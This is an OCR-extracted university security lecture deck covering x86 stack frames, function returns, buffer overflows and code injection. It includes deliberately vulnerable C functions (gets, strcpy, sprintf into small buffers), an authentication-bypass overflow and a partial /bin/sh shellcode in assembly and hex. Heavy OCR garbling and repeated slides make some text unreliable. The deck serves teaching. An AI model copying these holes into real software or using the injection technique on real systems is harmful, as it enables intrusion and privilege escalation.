Oxbff£f03b8

0x00000000 T Oxffffffff

¥ebp




NOTATION

..........................................................................................

0xbf££03b8  %ebp A memory address

0xbf££0720 (¥ebp) The value at memory address %ebp

(like dereferencing a pointer)

pushl %ebp
movl %esp %ebp /+ tebp = te

Oxbfff0200 l%esp
Oxbff£f03b8

sp */

0x00000000

$ebp

Oxffffffff



NOTATION

..........................................................................................

0xbf££03b8  %ebp A memory address

0xbf££0720 (¥ebp) The value at memory address %ebp

(like dereferencing a pointer)

pushl %ebp
movl %esp %ebp /+ tebp = te

Oxbfff0200 l%esp
Oxbff£f03b8

sp */

0x00000000

$ebp

Oxffffffff



NOTATION

Hxbf££63b8  %ebp A memory address
0xbf££0200

oxbf££6726- (¥ebp) The value at memory address %ebp

0xbf££03b8 (like dereferencing a pointer)

pushl %ebp
movl %esp %ebp /+ tebp = te

Oxbfff0200 l%esp
Oxbff£f03b8

sp */

0x00000000

$ebp

Oxffffffff



NOTATION

Hxbf££63b8  %ebp A memory address
0xbf££0200

oxbf££6726- (¥ebp) The value at memory address %ebp

0xbf££03b8 (like dereferencing a pointer)

pushl %ebp
movl %esp %ebp /+ tebp = te

sp */

movl (%ebp) %ebp /+ sebp = (%ebp) */

Oxbfff0200 l%esp
Oxbff£f03b8

0x00000000

$ebp

Oxffffffff



NOTATION

Hxbf££63b8  %ebp A memory address
0xbf££0200

dxbee£o720- (¥ebp) The value at memory address %ebp
* (like dereferencing a pointer)

pushl %ebp
movl %esp %ebp /+ tebp = tesp */
movl (%ebp) %ebp /+ sebp = (%ebp) */

Oxbfff0200 l%esp
Oxbff£f03b8

0x00000000 Oxffffffff

$ebp



RETURNING FROM FUNCTIONS

-------------------------------------------------------------------------------------------------------

int main()

{
func(“Hey”, 10, -3);
"** Q: How do we restore %ebp?

}

0x00000000 tesp

Oxffffffff
i |

Stack frame
for this call to func $ebp



RETURNING FROM FUNCTIONS

.......................................................................................................

int main()

{
func(“Hey”, 10, -3);
"** Q: How do we restore %ebp?

}

¥esp

0x00000000 Oxffffffff

Stack frame
for this call to func $ebp

1. Push %ebp before locals



RETURNING FROM FUNCTIONS

.......................................................................................................

int main()

{
func(“Hey”, 10, -3);
"** Q: How do we restore %ebp?

}

¥esp

0x00000000 Oxffffffff

Stack frame
sebp for this call to func $ebp

1. Push %ebp before locals
2. Set %ebp to current %esp



RETURNING FROM FUNCTIONS

.......................................................................................................

int main()

{
func(“Hey”, 10, -3);
"** Q: How do we restore %ebp?

}

¥esp

0x00000000 Oxffffffff

Stack frame
sebp for this call to func $ebp

1. Push %ebp before locals

2. Set %ebp to current %esp
3. Set %ebp to(%ebp) at return



RETURNING FROM FUNCTIONS

-------------------------------------------------------------------------------------------------------

int main()

{

func(“Hey”, 10, -3);

}
0x00000000 Oxffffffff

1
| Stack frame |

sebp for this call to func $ebp



RETURNING FROM FUNCTIONS

-------------------------------------------------------------------------------------------------------

int main()

{

func(“Hey"”, 10, -3);
**+ Q: How do we resume here?

}
0x00000000 Oxffffffff
|

‘ Stack frame |

sebp for this call to func $ebp




INSTRUCTIONS THEMSELVES ARE IN MEMORY

.......................................................................................................

4G Oxffffffff

Ox4a7 mov $0x0,%eax
Ox4a2 call <func>

0x49b movl $0x804..,(%esp)

0x493 movl $0xa,0x4(%esp)

0 | \ 0x00000000




INSTRUCTIONS THEMSELVES ARE IN MEMORY

........................

...............................................................................

Oxffffffff

Ox4a7 mov $0x0,%eax
Ox4a2 call <func>

0x49b movl $0x804..,(%esp)
0x493 movl $0xa,0x4(%esp) «—— Reip

Instruction pointer register

(EIP) containing the address of
0x00000000 the instruction to be executed



INSTRUCTIONS THEMSELVES ARE IN MEMORY

........................

...............................................................................

Oxffffffff

Ox4a7 mov $0x0,%eax
Ox4a2 call <func>
0x49b movl $0x804..,(%esp) ¢ %eip

0x493 movl $0xa,0x4(%esp) Instruction pointer register
(EIP) containing the address of

the instruction to be executed

0x00000000



INSTRUCTIONS THEMSELVES ARE IN MEMORY

........................

...............................................................................

Oxffffffff

0x4a7 mov $0x0,%eax
0x4a2 call <func> +— %elp
0x49b movl $0x804..,(%esp) Instruction pointer register

0x493 movl $0xa,0x4(%esp) (EIP) containing the address of
the instruction to be executed

0x00000000



INSTRUCTIONS THEMSELVES ARE IN MEMORY

...............................................................................

Oxffffffff

0x5bf mov %esp, tebp
0x5be push %ebp

0x4a7 mov $0x0,%eax
0x4a2 call <func> +— %elp

0x49b movl $0x804..,(%esp) Instruction pointer register

0x493 movl $0xa,0x4(%esp) (EIP) containing the address of
the instruction to be executed

0x00000000



INSTRUCTIONS THEMSELVES ARE IN MEMORY

...............................................................................

Oxffffffff

0x5bf mov %esp, tebp
0x5be push %ebp +«—— %eip
e Instruction pointer register

(EIP) containing the address of

S the instruction to be executed
Ox4a7 mov $0x0,%eax

0Ox4a2 call <func>
0x49b movl $0x804..,(%esp)
0x493 movl $0xa,0x4(%esp)

0x00000000



INSTRUCTIONS THEMSELVES ARE IN MEMORY

...............................................................................

Oxffffffff

+—— %eip
0xSbf mov tesp, tebp Instruction pointer register

0x5be push %ebp (EIP) containing the address of
e the instruction to be executed

0x4a7 mov $0x0,%eax

Ox4a2 call <func>

0x49b movl $0x804..,(%esp)
0x493 movl $0xa,0x4(%esp)

0x00000000



INSTRUCTIONS THEMSELVES ARE IN MEMORY

...............................................................................

Oxffffffff

0x5bf mov %esp, tebp
0x5be push %ebp

Ox4a7 mov $0x0,%eax +— %eip

0x4a2 call <func> Instruction pointer register
0x49b movl $0x804..,(%esp) (EIP) containing the address of
0x493 movl $0xa,0x4(%esp) the instruction to be executed

0x00000000



0Xx00000000

RETURNING FROM FUNCTIONS

.......................................................................................................

int main()
{
func(“Hey”, 10, -3);
;o Q: How do we resume here?
%ebp
] ‘

L gl g2 argd callersdama

IIlIIIlIIlIIIlIIlIIlIIIIIIIII'II:IIIIIIIIIIIIIIII

tack Frame for func call

%esp

OXFFFFFFFF



0Xx00000000

RETURNING FROM FUNCTIONS

.......................................................................................................

int main()
{
func(“Hey”, 10, -3);
Lo Q: How do we resume here?
Push next %eip %ebp

¥

| g g2 argd callersdana

—s

0 tack Frame for func call
%esp

OXFFFFFFFF



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly
leave: mov %esp %ebp
return; pop %ebp
ret: pop %eip
Current stack frame Caller’s stack frame

$eip %esp $ebp



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly
leave: mov %esp %ebp
return; pop %ebp
ret: pop %eip
Current stack frame Caller’s stack frame

$eip %esp $ebp \
Old frame pointer



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly
leave: mov %esp %ebp
return; pop %ebp
ret: pop %eip
Caller’s code
1 Current stack frame Caller’s stack frame

$eip %esp $ebp \
Old frame pointer



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly
leave :*mov tesp %ebp
return; pop %ebp
ret: pop %eip
Caller’s code
1 Current stack frame Caller’s stack frame

$eip %esp $ebp \
Old frame pointer



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly

leave :* mov %esp %ebp
return; pop %ebp
ret: pop %eip

Current stack frame Caller’s stack frame




RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly
leave: mov %esp %ebp
return; =) pop %ebp
ret: pop %eip
Current stack frame Caller’s stack frame

$ebp %esp



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly

leave: mov %esp %ebp

return; * pop %ebp
ret: pop %eip

Current stack frame Caller’s stack frame




RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly

leave: mov %esp %ebp
return; pop %ebp

ret: w=Pppop teip

Current stack frame Caller’s stack frame




RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly

leave: mov %esp %ebp
return; pop %ebp

ret: w=Pppop teip

Current stack frame Caller’s stack frame

$eip $esp

The next instruction is to “remove”
the arguments off the stack



RETURNING FROM A FUNCTION

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

InC In compiled assembly

leave: mov %esp %ebp
return; pop %ebp

ret: w=Pppop teip

Current stack frame Caller’s stack frame

%eip $esp %ebp

The next instruction is to “remove” And now we’re
the arguments off the stack back where we started



STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after
control returns to you: e.g., %eip + 2

3.Jump to the function’s address



STACK & FUNCTIONS: SUMMARY

Calling function (before calling):

1.Push arguments onto the stack (in reverse)
2.Push the return address, i.e., the address of the instruction you want run after
control returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp

5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp



STACK & FUNCTIONS: SUMMARY

Calling function (before calling):

1.Push arguments onto the stack (in reverse)
2.Push the return address, i.e., the address of the instruction you want run after
control returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp

5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):
7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip



STACK & FUNCTIONS: SUMMARY

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after
control returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

Calling function (after return):
9.Remove the arguments off of the stack: %esp = %esp + number of bytes of args



BUFFER OVERFLOW

.......................................................................................................

The following slides are adopted from CMSC414 course by Dave Levin
(https://www.cs.umd.edu/class/spring2019/cmsc414/)
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@ @ . . .

o e The details discussed in

I32-BITJs th

o - e this module assumes a

& @ . .

of ¥86 |[* 32-bit x86 architecture

O @]

00000000

X86 (32-bit) Registers Addresses are 1 Word/4 bytes/32 bits Little Endian Bytes Ordering
EAX — Accumulator register (general purpose register) Word Address Data
ECX — Counter register (general purpose register) > ! X OAO BOCOD
EDX — Data register (general purpose register) . . N
EBX — Base register (general purpose register) 0000000C |4 O|F 3|0 7|8 8| Word 3
ESP — Stack Pointer register 00000008 [0 1|EE|2 8|4 2| Word 2 r -1
EBP — Base Pointer register 00000004 |F2|F1|AC/OT| Word1

— OA|OB |OC |OD

ESI — Source Index register
EDI — Destination Index register
EIP — Instruction Pointer register

00000000 |AB|CD|E Ff? 8| Word 0

D WD VIS -

B >
width = 4 bytes

orl orl a




BUFFER OVERFLOWS: HIGH LEVEL

.......................................................................................................

* Buffer =

+ Contiguous set of a given data type

« CommoninC
- All strings are buffers of char's

 Qverflow =
« Put more into the buffer than it can hold

* Where does the extra data go?

* Well now that you're experts in memory layouts...



COMMON FUNCTIONS THAT CAUSE OVERFLOW

.......................................................................................................

Strings in C are character arrays terminated with a null

Recall: S
character ("\0’, which is represented by a byte of all zeroes).
char »
strcpy(char *to, char *from) {
int i=0;
do { Overflows to whenever
to[i) = from[i]; .
i++; strlen(from) is greater
while(from[(i] != ‘\0’); than the size of to
return to;
}
char
strncpy(char *to, char *from, size t len) {

int i=0;

while(from[i]) != "0’ && i < len) {
to[i) = from[i);
i++;

}

return to;

}




COMMON FUNCTIONS THAT CAUSE OVERFLOW

-------------------------------------------------------------------------------------------------------

_ Strings in C are character arrays terminated with a null
" character ("\0’, which is represented by a byte of all zeroes).

strcpy(char *to, char *from)

Copies ‘from’ into ‘to’ until it reaches the null character in from
Does not take into account the size of either
Overflows to whenever strlen(£from)
is greater than the size of to

strncpy(char *to, char *from, size_t len)

Copies ‘from’ into ‘to’ until it reaches the null character in from
Does not take into account the size of either
Overflows to whenever strlen(from) and len
are both greater than the size of to



COMMON FUNCTIONS THAT CAUSE OVERFLOW

Unbounded Function:
Standard C Library

Bounded Equivalent:
Standard C Library

Bounded Equivalent:
Windows Safe CRT

char «
gets(char «dst)

int

scanf(const char «FMT
[, arg, ...])

int

sprintf(char =str,
const char «FMT
[, arg, ...])

char «
strcat(char sstr,
const char =SRC)

char «
strcpy(char =dst,
const char «SRC)

char =

fgets(char «dst,
int bound,
FILE «FP)

None

int

snprintf(char sstr,
size_t bound,
const char «FMT,

[, arg, ...])

char «

strncat(char edst,
const char =SRC,
size_t bound)

char «

strncpy(char =dst,
const char «SRC,
size_t bound)

char #
gets_s(char =s,
size_t bound)

errno_t

scanf_s(const char «FMT
[, ARG,
size_t bound,
eeel)

errno_t

sprintf_s(char =dst,
size_t bound,
const char «FMT
[, arg, ...]) w

errno_t

strcat_s(char sdst,
size_t bound,
const char «SRC)

errno_t

strcpy_s(char =dst,
size_t bound,
const char «SRC)




A BUFFER OVERFLOW EXAMPLE

.......................................................................................................

void func(char *argl)

{
char buffer(4];
strcpy(buffer, argl);
}

int main()

{

char *mystr = “AuthMe!”;
func(mystr);
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A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
char buffer(4);
strcpy(buffer, argl);

}

int main()

{
char *mystr = “AuthMe!”;
func(mystr);

}

buffer




A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{ char buffer(4];
strcpy(buffer, argl);

} coe

int main()

{ char *mystr = “AuthMe!”;
func(mystr);

} P

M e ! \O

buffer



A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
char buffer(4];
strcpy(buffer, argl);

}

int main()

{
char *mystr = “AuthMe!”;
func(mystr);

}

Upon return, sets $ebp to 0x0021654d

M e ! \O

buffer




A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
char buffer(4];
strcpy(buffer, argl);

}

int main()

{
char *mystr = “AuthMe!”;
func(mystr);

}

Upon return, sets $ebp to 0x0021654d

M e ! \O

- | | |

buffer SEGFAULT (0x00216551)




A BUFFER OVERFLOW EXAMPLE

.......................................................................................................

void func(char *argl)

{
int authenticated = 0;
char buffer([4)];
strcpy(buffer, argl);
if (authenticated) { ...
}

int main()

{
char *mystr = “AuthMe!”;
func(mystr);
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A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)
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int authenticated = 0;
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strcpy(buffer, argl);
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}

int main()

{
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A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
int authenticated = 0;
char buffer([4)];
strcpy(buffer, argl);
if (authenticated) { ...

}

int main()

{
char *mystr = “AuthMe!”;
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A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
int authenticated = 0;
char buffer([4)];
strcpy(buffer, argl);
if (authenticated) { ...

}

int main()

{
char *mystr = “AuthMe!”;
func(mystr);

}

- | sebp seip

buffer authenticated




A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
int authenticated = 0;
char buffer([4)];
strcpy(buffer, argl);
if (authenticated) { ...
}
int main()
{
char *mystr = “AuthMe!”;
func(mystr);
}
M e ! \O

- | tebp Seip

buffer authenticated




A BUFFER OVERFLOW EXAMPLE

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
int authenticated = 0;
char buffer(4];
strcpy(buffer, argl);
if (authenticated) { ...

}

int main()

{
char *mystr = “AuthMe!”;
func(mystr);

}

Code still runs; user now ‘authenticated’
M e ! \O

- | tebp Seip

buffer authenticated




void vulnerable()

{
char buf([80];

gets(buf);




void vulnerable()
{
char buf([80];
gets(buf);
}

void still vulnerable()

{

char *buf = malloc(80);
gets(buf);




void safe()

{
char buf[80];

fgets(buf, 64, stdin);




void safe()
{
char buf[80];
fgets(buf, 64, stdin);
}

void safer()

{
char buf([80];

fgets(buf, sizeof(buf), stdin);




BUFFER OVERFLOW PREVALENCE
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Significant percent of all vulnerabilities

1997 1999 2001 2003 2005 2007 2009 2011 2013 2015

h ion Inerabili



USER-SUPPLIED STRINGS

.......................................................................................................

* In these examples, we were providing our own strings

* But they come from users in myriad aways
+ Text input
+ Network packets
* Environment variables
+ File input...



WHAT'S THE WORST THAT CAN HAPPEN?

-------------------------------------------------------------------------------------------------------

void func(char *argl)

{
char buffer(4];

strcpy(buffer, argl);

}

buffer




WHAT'S THE WORST THAT CAN HAPPEN?

-------------------------------------------------------------------------------------------------------

void func(char *argl)
{
char buffer([4];
strcpy(buffer, argl);
}

buffer

strcpy will let you write as much as you want (til a "\0’)



WHAT'S THE WORST THAT CAN HAPPEN?

.......................................................................................................

void func(char *argl)
{
char buffer([4);
strcpy(buffer, argl);
}
All ours!
buffer

strcpy will let you write as much as you want (til a "\0’)



WHAT'S THE WORST THAT CAN HAPPEN?

.......................................................................................................

void func(char *argl)
{
char buffer([4);
strcpy(buffer, argl);
}
All ours!
buffer

strcpy will let you write as much as you want (til a "\0’)

What could you write to memory to wreak havoc?



FIRST A RECAP: ARGS

-------------------------------------------------------------------------------------------------------

#include <stdio.h>

void func(char *argl, int arg2, int arg3)

{
printf(“argl is at %p\n”, &argl);
printf(“arg2 is at %p\n”, &arg2);
printf(“arg3 is at %p\n”, &arg3);
}

int main()

{
func(“Hello”, 10, -=3);
return 0;




FIRST A RECAP: ARGS

-------------------------------------------------------------------------------------------------------

#include <stdio.h>

void func(char *argl, int arg2, int arg3)

{
printf(“argl is at %p\n”, &argl);
printf(“arg2 is at %p\n”, &arg2);
printf(“arg3 is at %p\n”, &arg3);
}
int main()
{
func(“Hello”, 10, =-3);
return 0;
}

What will happen?

&argl < &arg2 < &arg3? &argl > &arg2 > &arg3?



FIRST A RECAP: LOCALS

-------------------------------------------------------------------------------------------------------

#include <stdio.h>

void func()
{
char locl[4];
int loc2;
int loc3;
printf(“locl is at %p\n”, &locl);
printf(“loc2 is at %p\n”, &loc2);
printf(“loc3 is at %p\n”, &loc3);

}

int main()

{

func();
return 0;




FIRST A RECAP: LOCALS

-------------------------------------------------------------------------------------------------------

#include <stdio.h>

void func()

{
char locl[4]);
int loc2;
int loc3;
printf(“locl is at %p\n”, &locl);
printf(“loc2 is at %p\n”, &loc2);
printf(“loc3 is at %p\n”, &loc3);
}
int main()
{
func();
return 0;
}

What will happen?

&locl < &loc2 < &loc3? &locl > &loc2 > &loc3?



STACK & FUNCTIONS: SUMMARY

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

!

0x0




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2
3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

!

0x0




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

!

0x0




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

!

0x0




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

!

0x0

=




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

0x0




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

0x0




STACK & FUNCTIONS: SUMMARY

.......................................................................................................

Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

geip tebp

0x0




0x0

STACK & FUNCTIONS: SUMMARY
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Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
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6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

$eilip $ebp

l-----J
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STACK & FUNCTIONS: SUMMARY
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Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

%$eip $ebp
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STACK & FUNCTIONS: SUMMARY
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Calling function (before calling):

1.Push arguments onto the stack (in reverse)

2.Push the return address, i.e., the address of the instruction you want run after control
returns to you: e.g., %eip + 2

3.Jump to the function’s address

Called function (when called):

4.Push the old frame pointer onto the stack: push %ebp
5.Set frame pointer %ebp to where the end of the stack is right now: %ebp=%esp
6.Push local variables onto the stack; access them as offsets from %ebp

Called function (when returning):

7.Reset the previous stack frame: %esp = %ebp; pop %ebp
8.Jump back to return address: pop %eip

$eip $ebp
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BUFFER OVERFLOW

-------------------------------------------------------------------------------------------------------

char loc1[4];




BUFFER OVERFLOW

-------------------------------------------------------------------------------------------------------

char loc1[4];

gets (locl);
strcpy(locl, <user input>);
memcpy (locl, <user input>);

etc.



BUFFER OVERFLOW

char loc1[4];

Input writes from low to high addresses

gets(locl);
strcpy(locl, <user input>);
memcpy (locl, <user input>);

etc.



BUFFER OVERFLOW

.......................................................................................................

char loc1[4];
vobp seir_ o

Input writes from low to high addresses

gets (locl);
strcpy(locl, <user input>);
memcpy (locl, <user input>);

etc.



BUFFER OVERFLOW

.......................................................................................................

Can over-write other data (“AuthMe!")

char loc1[4];

sebp v

Input writes from low to high addresses

gets (locl);
strcpy(locl, <user input>);
memcpy (locl, <user input>);

etc.



BUFFER OVERFLOW

.......................................................................................................

Can over-write other data (“AuthMe!")

Can over-write the program’s control flow (%eip)

char loc1[4];

Input writes from low to high addresses

gets (locl);
strcpy(locl, <user input>);
memcpy (locl, <user input>);

etc.



CODE
INJECTION



HIGH-LEVEL IDEA

-------------------------------------------------------------------------------------------------------

void func(char *argl)
{
char buffer([4];
sprintf(buffer, argl);
}

buffer



HIGH-LEVEL IDEA
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void func(char *argl)
{
char buffer([(4];
sprintf(buffer, argl);
}

I‘ Haxx0r c0d3 I

buffer

(1) Load our own code into memory



HIGH-LEVEL IDEA
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void func(char *argl)

{
char buffer([4];

sprintf(buffer, argl);

$eip

' r I‘ Haxx0r c0d3 I

buffer

(1) Load our own code into memory

(2) Somehow get %eip to point to it



HIGH-LEVEL IDEA

.......................................................................................................

void func(char *argl)

{
char buffer([4];

sprintf(buffer, argl);

$elp

' r I‘ Haxx0r c0d3 I

buffer

(1) Load our own code into memory

(2) Somehow get %eip to point to it



HIGH-LEVEL IDEA

.......................................................................................................

void func(char *argl)

{
char buffer([4];

sprintf(buffer, argl);

$elip

' r I‘ Haxx0r c0d3 I

buffer

(1) Load our own code into memory

(2) Somehow get %eip to point to it



THIS IS NONTRIVIAL

.......................................................................................................

* Pulling off this attack requires getting a few things
really right (and some things sorta right)

» Think about what is tricky about the attack

+ The key to defending it will be to make the hard parts
really hard



CHALLENGE 1: LOADING CODE INTO MEMORY

.......................................................................................................

e |t must be the machine code instructions
(i.e., already compiled and ready to run)

« We have to be careful in how we construct it:

* It can't contain any all-zero bytes
Otherwise, sprintf / gets / scanf / ... will stop copying
How could you write assembly to never contain a full zero byte?

» It can't make use of the loader (we're injecting)
* It can't use the stack (we're going to smash it)



WHAT KIND OF CODE WOULD WE WANT TO RUN?

.......................................................................................................

* Goal: full-purpose shell
+ The code to launch a shell is called “shell code”
+ It is nontrivial to it in a way that works as injected code

- No zeroes, can't use the stack, no loader dependence
+ There are many out there

- And competitions to see who can write the smallest

* Goal: privilege escalation
+ Ideally, they go from guest (or non-user) to root



SHELLCODE

.......................................................................................................

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[1l] = NULL;
execve(name[0], name, NULL);




SHELLCODE

.......................................................................................................

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[l] = NULL;
execve(name[0], name, NULL);

xorl %eax, %eax
pushl %eax

pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, $ebx
pushl %eax

Assembly




SHELLCODE

.......................................................................................................

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[l] = NULL;
execve(name[0], name, NULL);

}

pushl %$eax

pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, $ebx
pushl %eax

Assembly




SHELLCODE

.......................................................................................................

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[l] = NULL;
execve(name[0], name, NULL);

}

“\x31\xc0” T
> |pushl %eax “\x50" L
Q |pushl $0x68732f2f “\x68""//sh"” | 3
£ |pushl $0x6e69622f | [“\x68”"/bin” |3
!y |Imovl %esp, ¥ebx “\x89\xe3” O
< |pushl teax “\x50" 8_

®




SHELLCODE

.......................................................................................................

Assembly

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[l] = NULL;
execve(name[0], name, NULL);

}

“\x31\xc0”
pushl %$eax “\x50"

pushl $0x68732f2f “\x68""//sh"”
pushl $0x6e69622f “\x68"”"/bin”
movl %esp, $ebx “\x89\xe3”
pushl %eax “\x50"

(Part of)
your
iInput

9p0d aulyde|



PRIVILEGE ESCALATION

.......................................................................................................

* More on Unix permissions later, but for now...

Recall that each file has:
« Permissions: read / write / execute
+ For each of: owner / group / everyone else

* Permissions are defined over userid’s and groupid's
 Every user has a userid
+ root’s userid is 0

» Consider a service like passwd

+ Owned by root (and needs to do root-y things)
